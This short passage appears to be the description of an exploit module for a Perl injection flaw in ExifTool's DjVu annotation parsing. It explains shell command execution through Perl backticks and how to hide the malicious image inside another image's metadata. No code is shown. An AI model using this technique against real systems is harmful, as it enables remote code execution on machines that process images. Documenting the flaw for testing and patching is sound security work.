          This module exploits a Perl injection vulnerability in the DjVu ANT
          parsing code of ExifTool versions 7.44 through 12.23 inclusive. The
          injection is used to execute a shell command using Perl backticks.
          The DjVu image can be embedded in a wrapper image using the
          HasselbladExif EXIF field.
